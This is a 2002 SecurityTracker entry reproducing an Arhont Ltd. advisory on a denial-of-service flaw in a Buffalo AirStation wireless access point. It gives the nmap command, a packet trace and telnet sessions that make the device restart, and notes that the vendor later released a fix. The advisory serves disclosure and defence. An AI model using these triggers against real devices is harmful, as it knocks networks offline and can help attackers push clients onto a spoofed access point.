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Category:  Device (Router/Bridge/Hub)  >  AirStation Vendors:  Buffalo Technology/MELCO Inc.
Buffalo Technology AirStation Wireless Access Point Can Be Crashed By Remote Users Conducting Port Scans
SecurityTracker Alert ID:  1005642
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 16 2002
Impact:  Denial of service via network
Exploit Included:  Yes  
Advisory:  Arhont Ltd.
Version(s): WLA-L11G Ver.2.31; Firmware WLI-PCM-L11G Ver.6.14
Description:  A denial of service vulnerability was reported in the AirStation wireless access point from Buffalo Technology. A remote user can cause the device to crash and restart.

Arhont Ltd. reported that a remote user can conduct a port scan against the web port to cause the access point device to restart. A demonstration exploit using the 'nmap' port scanning tool in protocol detection mode is provided:

$ nmap -sVVV -p 80 [target_host_IP]

According to the report, a remote user can also connect to the web port using telnet (or another similar utility) and sending the unquoted strings "GET / HTTP/1.0" or "get " to cause the device to restart.

The vendor has reportedly been notified.

Impact:  A remote user can cause the device to restart.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.buffalotech.com/wireless/products/index.php (Links to External Site)
Cause:  Exception handling error
Reported By:  Andrei Mikhailovsky <andrei@arhont.com>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 3 2002 (Vendor Issues Fix) Re: Buffalo Technology AirStation Wireless Access Point Can Be Crashed By Remote Users Conducting Port Scans
The vendor has released a fix.



 Source Message Contents

Date:  13 Nov 2002 19:39:12 -0000
From:  Andrei Mikhailovsky <andrei@arhont.com>
Subject:  Buffalo AP Denial of Service

 



Arhont Ltd.     - Information Security

Arhont Advisory by:             Andrei Mikhailovsky
(www.arhont.com)
Advisory:                       Buffalo AP 
AP Model Name:                  WLA-L11G Ver.2.31
Wireless Firmware:              WLI-PCM-L11G Ver.6.14
Model Specific:                 Other versions of
Buffalo APs might be vulnerable
Manufacturer site:              http://www.buffalotech.com
Manufacturer contact:           info@buffalotech.com
Contact Date:                   25/10/2002


DETAILS:

While performing a network testing, we have found a
Buffalo Access Point (WLA-L11G Ver.2.31) vulnerable to
a Denial of Service (DoS) attack.  Simply using network
scanning tool such as nmap with version grabbing 
(www.insecure.org) in the following manner restarts the AP:

$ nmap -sVVV -p 80 192.168.177.250

where 192.168.177.250 is an IP address of Buffalo AP

Analysing network traffic shows the following:

14:16:14.622714 192.168.177.7.34968 >
192.168.177.250.www: S [tcp sum ok]
4001152576:4001152576(0) win 5840 <mss
1460,sackOK,timestamp 51
43788 0,nop,wscale 0> (DF) [tos 0x10]  (ttl 64, id
49836, len 60)
0x0000   4510 003c c2ac 4000 4006 5bad c0a8 4d07      
 E..<..@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be40 0000 0000      
 ..M....P.|.@....
0x0020   a002 16d0 6204 0000 0204 05b4 0402 080a      
 ....b...........
0x0030   004e 7cec 0000 0000 0103 0300                
 .N|.........

14:16:14.623498 192.168.177.250.www >
192.168.177.7.34968: S [tcp sum ok]
51008176:51008176(0) ack 4001152577 win 16000 <mss
1460> (ttl 3
0, id 2, len 44)
0x0000   4500 002c 0002 0000 1e06 8078 c0a8 4dfa      
 E..,.......x..M.
0x0010   c0a8 4d07 0050 8898 030a 52b0 ee7c be41      
 ..M..P....R..|.A
0x0020   6012 3e80 b1e2 0000 0204 05b4 0000           
 `.>...........

14:16:14.623539 192.168.177.7.34968 >
192.168.177.250.www: . [tcp sum ok] 1:1(0) ack 1 win
5840 (DF) [tos 0x10]  (ttl 64, id 49837, len 4
0)
0x0000   4510 0028 c2ad 4000 4006 5bc0 c0a8 4d07      
 E..(..@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be41 030a 52b1      
 ..M....P.|.A..R.
0x0020   5010 16d0 f14f 0000                          
 P....O..

14:16:15.402518 192.168.177.7.34968 >
192.168.177.250.www: P [tcp sum ok] 1:7(6) ack 1 win
5840 (DF) [tos 0x10]  (ttl 64, id 49838, len 4
6)
0x0000   4510 002e c2ae 4000 4006 5bb9 c0a8 4d07      
 E.....@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be41 030a 52b1      
 ..M....P.|.A..R.
0x0020   5018 16d0 08b2 0000 6765 7420 0d0a           
 P.......get...

14:16:15.647578 192.168.177.250.www >
192.168.177.7.34968: . [tcp sum ok] 1:1(0) ack 7 win
16000 (ttl 30, id 3, len 40)
0x0000   4500 0028 0003 0000 1e06 807b c0a8 4dfa      
 E..(.......{..M.
0x0010   c0a8 4d07 0050 8898 030a 52b1 ee7c be47      
 ..M..P....R..|.G
0x0020   5010 3e80 c999 0000 0000 0000 0000           
 P.>...........

14:16:15.647639 192.168.177.7.34968 >
192.168.177.250.www: P [tcp sum ok] 7:9(2) ack 1 win
5840 (DF) [tos 0x10]  (ttl 64, id 49839, len 4
2)
0x0000   4510 002a c2af 4000 4006 5bbc c0a8 4d07      
 E..*..@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be47 030a 52b1      
 ..M....P.|.G..R.
0x0020   5018 16d0 e435 0000 0d0a                     
 P....5....

14:16:16.358599 192.168.177.7.34968 >
192.168.177.250.www: P [tcp sum ok] 7:9(2) ack 1 win
5840 (DF) [tos 0x10]  (ttl 64, id 49840, len 4
2)
0x0000   4510 002a c2b0 4000 4006 5bbb c0a8 4d07      
 E..*..@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be47 030a 52b1      
 ..M....P.|.G..R.
0x0020   5018 16d0 e435 0000 0d0a                     
 P....5....

14:16:17.750198 arp who-has 192.168.177.250 tell
192.168.177.250
0x0000   0001 0800 0604 0001 0007 4006 0656 c0a8      
 ..........@..V..
0x0010   4dfa 0000 0000 0000 c0a8 4dfa 0000 0000      
 M.........M.....
0x0020   0000 0000 0000 0000 0000 0000 0000           
 ..............

14:16:17.798596 192.168.177.7.34968 >
192.168.177.250.www: P [tcp sum ok] 7:9(2) ack 1 win
5840 (DF) [tos 0x10]  (ttl 64, id 49841, len 4
2)
0x0000   4510 002a c2b1 4000 4006 5bba c0a8 4d07      
 E..*..@.@.[...M.
0x0010   c0a8 4dfa 8898 0050 ee7c be47 030a 52b1      
 ..M....P.|.G..R.
0x0020   5018 16d0 e435 0000 0d0a                     
 P....5....

14:16:20.274463 arp who-has 192.168.177.7 tell
192.168.177.250
0x0000   0001 0800 0604 0001 0007 4006 0656 c0a8      
 ..........@..V..
0x0010   4dfa 0000 0000 0000 c0a8 4d07 0000 0000      
 M.........M.....
0x0020   0000 0000 0000 0000 0000 0000 0000           
 ..............

14:16:20.274488 arp reply 192.168.177.7 is-at
0:4:5a:63:a4:be
0x0000   0001 0800 0604 0002 0004 5a63 a4be c0a8      
 ..........Zc....
0x0010   4d07 0007 4006 0656 c0a8 4dfa                
 M...@..V..M.

14:16:20.275495 192.168.177.250.www >
192.168.177.7.34968: FR [tcp sum ok]
51008177:51008177(0) win 0 (ttl 30, id 1, len 40)
0x0000   4500 0028 0001 0000 1e06 807d c0a8 4dfa      
 E..(.......}..M.
0x0010   c0a8 4d07 0050 8898 030a 52b1 0000 0000      
 ..M..P....R.....
0x0020   5005 0000 b4e9 0000 0000 0000 0000           
 P.............


Attacks can also be reproduced manually via telnet:

andrei@192.168.177.7:~$ telnet 192.168.177.250 80
Trying 192.168.177.250...
Connected to 192.168.177.250 (192.168.177.250).
Escape character is '^]'.
GET / HTTP/1.0



Connection closed by foreign host.

and

andrei@192.168.177.7:~$ telnet 192.168.177.250 80
Trying 192.168.177.250...
Connected to 192.168.177.250 (192.168.177.250).
Escape character is '^]'.
get 

Connection closed by foreign host.

(where, there is a <space> after get;  without the
<space>, the AP doesn't restart)

Impact:  This vulnerability can be implemented by the
attacker to restart the AP.  This might be useful if
the configuration files have been changed by the
attacker and the AP restart is required to implement
the changes.  It is also possible to implement this
attack to spoof an AP and make the clients connect to
rouge or spoofed AP instead of legitimate one. 

Risk Factor: Medium/High

According to the Arhont Ltd. policy, all of the found
vulnerabilities and security issues will be reported to
the manufacturer 7 days before releasing to public
domain (such as CERT and BUGTRAQ).

If you would like to get more information about this
issue, please do not hesitate to contact Arhont team.


Regards,

Andrei Mikhailovsky
Arhont Ltd.
http://www.arhont.com
GnuPG Keyserver: blackhole.pca.dfn.de
GnuPG Key:       0x178F548C

 


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